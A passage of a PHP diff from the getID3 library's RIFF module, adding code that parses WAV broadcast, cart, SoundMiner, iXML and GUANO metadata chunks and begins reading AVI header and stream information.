$thisfile_riff_WAVE_bext_0['origin_date'] = substr($thisfile_riff_WAVE_bext_0['data'], 320, 10); + $thisfile_riff_WAVE_bext_0['origin_time'] = substr($thisfile_riff_WAVE_bext_0['data'], 330, 8); + $thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338, 8)); + $thisfile_riff_WAVE_bext_0['bwf_version'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346, 1)); + $thisfile_riff_WAVE_bext_0['reserved'] = substr($thisfile_riff_WAVE_bext_0['data'], 347, 254); + $thisfile_riff_WAVE_bext_0['coding_history'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601))); + if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) { + if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) { + $bext_timestamp = array(); + list($dummy, $bext_timestamp['year'], $bext_timestamp['month'], $bext_timestamp['day']) = $matches_bext_date; + list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time; + $thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']); + } else { + $this->warning('RIFF.WAVE.BEXT.origin_time is invalid'); + } + } else { + $this->warning('RIFF.WAVE.BEXT.origin_date is invalid'); + } + $thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author']; + $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_bext_0['title']; + } + + if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) { + // shortcut + $thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0]; + + $thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2)); + $thisfile_riff_WAVE_MEXT_0['flags']['homogenous'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001); + if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) { + $thisfile_riff_WAVE_MEXT_0['flags']['padding'] = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true; + $thisfile_riff_WAVE_MEXT_0['flags']['22_or_44'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004); + $thisfile_riff_WAVE_MEXT_0['flags']['free_format'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008); + + $thisfile_riff_WAVE_MEXT_0['nominal_frame_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2)); + } + $thisfile_riff_WAVE_MEXT_0['anciliary_data_length'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2)); + $thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2)); + $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001); + $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002); + $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004); + } + + if (isset($thisfile_riff_WAVE['cart'][0]['data'])) { + // shortcut + $thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0]; + + $thisfile_riff_WAVE_cart_0['version'] = substr($thisfile_riff_WAVE_cart_0['data'], 0, 4); + $thisfile_riff_WAVE_cart_0['title'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 4, 64)); + $thisfile_riff_WAVE_cart_0['artist'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 68, 64)); + $thisfile_riff_WAVE_cart_0['cut_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64)); + $thisfile_riff_WAVE_cart_0['client_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64)); + $thisfile_riff_WAVE_cart_0['category'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64)); + $thisfile_riff_WAVE_cart_0['classification'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64)); + $thisfile_riff_WAVE_cart_0['out_cue'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64)); + $thisfile_riff_WAVE_cart_0['start_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10)); + $thisfile_riff_WAVE_cart_0['start_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 462, 8)); + $thisfile_riff_WAVE_cart_0['end_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10)); + $thisfile_riff_WAVE_cart_0['end_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 480, 8)); + $thisfile_riff_WAVE_cart_0['producer_app_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64)); + $thisfile_riff_WAVE_cart_0['producer_app_version'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64)); + $thisfile_riff_WAVE_cart_0['user_defined_text'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64)); + $thisfile_riff_WAVE_cart_0['zero_db_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680, 4), true); + for ($i = 0; $i < 8; $i++) { + $thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] = substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4); + $thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4)); + } + $thisfile_riff_WAVE_cart_0['url'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 748, 1024)); + $thisfile_riff_WAVE_cart_0['tag_text'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772))); + $thisfile_riff['comments']['tag_text'][] = substr($thisfile_riff_WAVE_cart_0['data'], 1772); + + $thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist']; + $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_cart_0['title']; + } + + if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) { + // SoundMiner metadata + + // shortcuts + $thisfile_riff_WAVE_SNDM_0 = &$thisfile_riff_WAVE['SNDM'][0]; + $thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data']; + $SNDM_startoffset = 0; + $SNDM_endoffset = $thisfile_riff_WAVE_SNDM_0['size']; + + while ($SNDM_startoffset < $SNDM_endoffset) { + $SNDM_thisTagOffset = 0; + $SNDM_thisTagSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4)); + $SNDM_thisTagOffset += 4; + $SNDM_thisTagKey = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4); + $SNDM_thisTagOffset += 4; + $SNDM_thisTagDataSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); + $SNDM_thisTagOffset += 2; + $SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); + $SNDM_thisTagOffset += 2; + $SNDM_thisTagDataText = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize); + $SNDM_thisTagOffset += $SNDM_thisTagDataSize; + + if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) { + $this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); + break; + } elseif ($SNDM_thisTagSize <= 0) { + $this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); + break; + } + $SNDM_startoffset += $SNDM_thisTagSize; + + $thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText; + if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) { + $thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText; + } else { + $this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); + } + } + + $tagmapping = array( + 'tracktitle'=>'title', + 'category' =>'genre', + 'cdtitle' =>'album', + ); + foreach ($tagmapping as $fromkey => $tokey) { + if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) { + $thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey]; + } + } + } + + if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) { + // requires functions simplexml_load_string and get_object_vars + if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) { + $thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML; + if (isset($parsedXML['SPEED']['MASTER_SPEED'])) { + @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']); + $thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000); + } + if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) { + @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']); + $thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000); + } + if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) { + $samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0')); + $timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105 + $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate; + $h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] / 3600); + $m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600)) / 60); + $s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60)); + $f = ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate']; + $thisfile_riff_WAVE['iXML'][0]['timecode_string'] = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s, $f); + $thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d', $h, $m, $s, round($f)); + unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f); + } + unset($parsedXML); + } + } + + if (isset($thisfile_riff_WAVE['guan'][0]['data'])) { + // shortcut + $thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0]; + if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) { + $thisfile_riff['guano'] = array(); + foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) { + if ($line) { + @list($key, $value) = explode(':', $line, 2); + if (substr($value, 0, 3) == '[{"') { + if ($decoded = @json_decode($value, true)) { + if (!empty($decoded) && (count($decoded) == 1)) { + $value = $decoded[0]; + } else { + $value = $decoded; + } + } + } + $thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value)); + } + } + + // https://www.wildlifeacoustics.com/SCHEMA/GUANO.html + foreach ($thisfile_riff['guano'] as $key => $value) { + switch ($key) { + case 'Loc Position': + if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) { + list($dummy, $latitude, $longitude) = $matches; + $thisfile_riff['comments']['gps_latitude'][0] = floatval($latitude); + $thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude); + $thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude); + } + break; + case 'Loc Elevation': // Elevation/altitude above mean sea level in meters + $thisfile_riff['comments']['gps_altitude'][0] = floatval($value); + $thisfile_riff['guano'][$key] = (float) $value; + break; + case 'Filter HP': // High-pass filter frequency in kHz + case 'Filter LP': // Low-pass filter frequency in kHz + case 'Humidity': // Relative humidity as a percentage + case 'Length': // Recording length in seconds + case 'Loc Accuracy': // Estimated Position Error in meters + case 'Temperature Ext': // External temperature in degrees Celsius outside the recorder's housing + case 'Temperature Int': // Internal temperature in degrees Celsius inside the recorder's housing + $thisfile_riff['guano'][$key] = (float) $value; + break; + case 'Samplerate': // Recording sample rate, Hz + case 'TE': // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed. + $thisfile_riff['guano'][$key] = (int) $value; + break; + } + } + + } else { + $this->warning('RIFF.guan data not in expected format'); + } + } + + if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) { + $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; + $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); + } + + if (!empty($info['wavpack'])) { + $thisfile_audio_dataformat = 'wavpack'; + $thisfile_audio['bitrate_mode'] = 'vbr'; + $thisfile_audio['encoder'] = 'WavPack v'.$info['wavpack']['version']; + + // Reset to the way it was - RIFF parsing will have messed this up + $info['avdataend'] = $Original['avdataend']; + $thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + $this->fseek($info['avdataoffset'] - 44); + $RIFFdata = $this->fread(44); + $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; + $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; + + if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { + $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); + $this->fseek($info['avdataend']); + $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); + } + + // move the data chunk after all other chunks (if any) + // so that the RIFF parser doesn't see EOF when trying + // to skip over the data chunk + $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); + $getid3_riff = new getid3_riff($this->getid3); + $getid3_riff->ParseRIFFdata($RIFFdata); + unset($getid3_riff); + } + + if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { + switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { + case 0x0001: // PCM + if (!empty($info['ac3'])) { + // Dolby Digital WAV files masquerade as PCM-WAV, but they're not + $thisfile_audio['wformattag'] = 0x2000; + $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); + $thisfile_audio['lossless'] = false; + $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; + $thisfile_audio['sample_rate'] = $info['ac3']['sample_rate']; + } + if (!empty($info['dts'])) { + // Dolby DTS files masquerade as PCM-WAV, but they're not + $thisfile_audio['wformattag'] = 0x2001; + $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); + $thisfile_audio['lossless'] = false; + $thisfile_audio['bitrate'] = $info['dts']['bitrate']; + $thisfile_audio['sample_rate'] = $info['dts']['sample_rate']; + } + break; + case 0x08AE: // ClearJump LiteWave + $thisfile_audio['bitrate_mode'] = 'vbr'; + $thisfile_audio_dataformat = 'litewave'; + + //typedef struct tagSLwFormat { + // WORD m_wCompFormat; // low byte defines compression method, high byte is compression flags + // DWORD m_dwScale; // scale factor for lossy compression + // DWORD m_dwBlockSize; // number of samples in encoded blocks + // WORD m_wQuality; // alias for the scale factor + // WORD m_wMarkDistance; // distance between marks in bytes + // WORD m_wReserved; + // + // //following paramters are ignored if CF_FILESRC is not set + // DWORD m_dwOrgSize; // original file size in bytes + // WORD m_bFactExists; // indicates if 'fact' chunk exists in the original file + // DWORD m_dwRiffChunkSize; // riff chunk size in the original file + // + // PCMWAVEFORMAT m_OrgWf; // original wave format + // }SLwFormat, *PSLwFormat; + + // shortcut + $thisfile_riff['litewave']['raw'] = array(); + $riff_litewave = &$thisfile_riff['litewave']; + $riff_litewave_raw = &$riff_litewave['raw']; + + $flags = array( + 'compression_method' => 1, + 'compression_flags' => 1, + 'm_dwScale' => 4, + 'm_dwBlockSize' => 4, + 'm_wQuality' => 2, + 'm_wMarkDistance' => 2, + 'm_wReserved' => 2, + 'm_dwOrgSize' => 4, + 'm_bFactExists' => 2, + 'm_dwRiffChunkSize' => 4, + ); + $litewave_offset = 18; + foreach ($flags as $flag => $length) { + $riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length)); + $litewave_offset += $length; + } + + //$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20)); + $riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality']; + + $riff_litewave['flags']['raw_source'] = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true; + $riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true; + $riff_litewave['flags']['seekpoints'] = (bool) ($riff_litewave_raw['compression_flags'] & 0x04); + + $thisfile_audio['lossless'] = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false); + $thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor']; + break; + + default: + break; + } + } + if ($info['avdataend'] > $info['filesize']) { + switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') { + case 'wavpack': // WavPack + case 'lpac': // LPAC + case 'ofr': // OptimFROG + case 'ofs': // OptimFROG DualStream + // lossless compressed audio formats that keep original RIFF headers - skip warning + break; + + case 'litewave': + if (($info['avdataend'] - $info['filesize']) == 1) { + // LiteWave appears to incorrectly *not* pad actual output file + // to nearest WORD boundary so may appear to be short by one + // byte, in which case - skip warning + } else { + // Short by more than one byte, throw warning + $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); + $info['avdataend'] = $info['filesize']; + } + break; + + default: + if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) { + // output file appears to be incorrectly *not* padded to nearest WORD boundary + // Output less severe warning + $this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); + $info['avdataend'] = $info['filesize']; + } else { + // Short by more than one byte, throw warning + $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); + $info['avdataend'] = $info['filesize']; + } + break; + } + } + if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) { + if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) { + $info['avdataend']--; + $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); + } + } + if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) { + unset($thisfile_audio['bits_per_sample']); + if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) { + $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; + } + } + break; + + // http://en.wikipedia.org/wiki/Audio_Video_Interleave + case 'AVI ': + $info['fileformat'] = 'avi'; + $info['mime_type'] = 'video/avi'; + + $thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably + $thisfile_video['dataformat'] = 'avi'; + + $thisfile_riff_video_current = array(); + + if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) { + $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8; + if (isset($thisfile_riff['AVIX'])) { + $info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size']; + } else { + $info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size']; + } + if ($info['avdataend'] > $info['filesize']) { + $this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)'); + $info['avdataend'] = $info['filesize']; + } + } + + if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) { + //$bIndexType = array( + // 0x00 => 'AVI_INDEX_OF_INDEXES', + // 0x01 => 'AVI_INDEX_OF_CHUNKS', + // 0x80 => 'AVI_INDEX_IS_DATA', + //); + //$bIndexSubtype = array( + // 0x01 => array( + // 0x01 => 'AVI_INDEX_2FIELD', + // ), + //); + foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) { + $ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data']; + + $thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd, 0, 2)); + $thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType'] = $this->EitherEndian2Int(substr($ahsisd, 2, 1)); + $thisfile_riff_raw['indx'][$streamnumber]['bIndexType'] = $this->EitherEndian2Int(substr($ahsisd, 3, 1)); + $thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse'] = $this->EitherEndian2Int(substr($ahsisd, 4, 4)); + $thisfile_riff_raw['indx'][$streamnumber]['dwChunkId'] = substr($ahsisd, 8, 4); + $thisfile_riff_raw['indx'][$streamnumber]['dwReserved'] = $this->EitherEndian2Int(substr($ahsisd, 12, 4)); + + //$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name'] = $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']]; + //$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']]; + + unset($ahsisd); + } + } + if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) { + $avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data']; + + // shortcut + $thisfile_riff_raw['avih'] = array(); + $thisfile_riff_raw_avih = &$thisfile_riff_raw['avih']; + + $thisfile_riff_raw_avih['dwMicroSecPerFrame'] = $this->EitherEndian2Int(substr($avihData, 0, 4)); // frame display rate (or 0L) + if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) { + $this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero'); + return false; + } + + $flags = array( + 'dwMaxBytesPerSec', // max. transfer rate + 'dwPaddingGranularity', // pad to multiples of this size; normally 2K. + 'dwFlags', // the ever-present flags + 'dwTotalFrames', // # frames in file + 'dwInitialFrames', // + 'dwStreams', // + 'dwSuggestedBufferSize', // + 'dwWidth', // + 'dwHeight', // + 'dwScale', // + 'dwRate', // + 'dwStart', // + 'dwLength', // + ); + $avih_offset = 4; + foreach ($flags as $flag) { + $thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4)); + $avih_offset += 4; + } + + $flags = array( + 'hasindex' => 0x00000010, + 'mustuseindex' => 0x00000020, + 'interleaved' => 0x00000100, + 'trustcktype' => 0x00000800, + 'capturedfile' => 0x00010000, + 'copyrighted' => 0x00020010, + ); + foreach ($flags as $flag => $value) { + $thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value); + } + + // shortcut + $thisfile_riff_video[$streamindex] = array(); + /** @var array $thisfile_riff_video_current */ + $thisfile_riff_video_current = &$thisfile_riff_video[$streamindex]; + + if ($thisfile_riff_raw_avih['dwWidth'] > 0) { + $thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth']; + $thisfile_video['resolution_x'] = $thisfile_riff_video_current['frame_width']; + } + if ($thisfile_riff_raw_avih['dwHeight'] > 0) { + $thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight']; + $thisfile_video['resolution_y'] = $thisfile_riff_video_current['frame_height']; + } + if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { + $thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames']; + $thisfile_video['total_frames'] = $thisfile_riff_video_current['total_frames']; + } + + $thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3); + $thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate']; + } + if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) { + if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) { + $thisfile_riff_raw_strf_strhfccType_streamindex = null; + for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) { + if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) { + $strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data']; + $strhfccType = substr($strhData, 0, 4); + + if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) { + $strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data']; + + // shortcut + $thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex]; + + switch ($strhfccType) { + case 'auds': + $thisfile_audio['bitrate_mode'] = 'cbr'; + $thisfile_audio_dataformat = 'wav'; + if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) { + $streamindex = count($thisfile_riff_audio); + } + + $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData); + $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; + + // shortcut + $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; + $thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex]; + + if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) { + unset($thisfile_audio_streams_currentstream['bits_per_sample']); + } + $thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag']; + unset($thisfile_audio_streams_currentstream['raw']); + + // shortcut + $thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw']; + + unset($thisfile_riff_audio[$streamindex]['raw']); + $thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); + + $thisfile_audio['lossless'] = false; + switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) { + case 0x0001: // PCM + $thisfile_audio_dataformat = 'wav'; + $thisfile_audio['lossless'] = true; + break; + + case 0x0050: // MPEG Layer 2 or Layer 1 + $thisfile_audio_dataformat = 'mp2'; // Assume Layer-2 + break; + + case 0x0055: // MPEG Layer 3 + 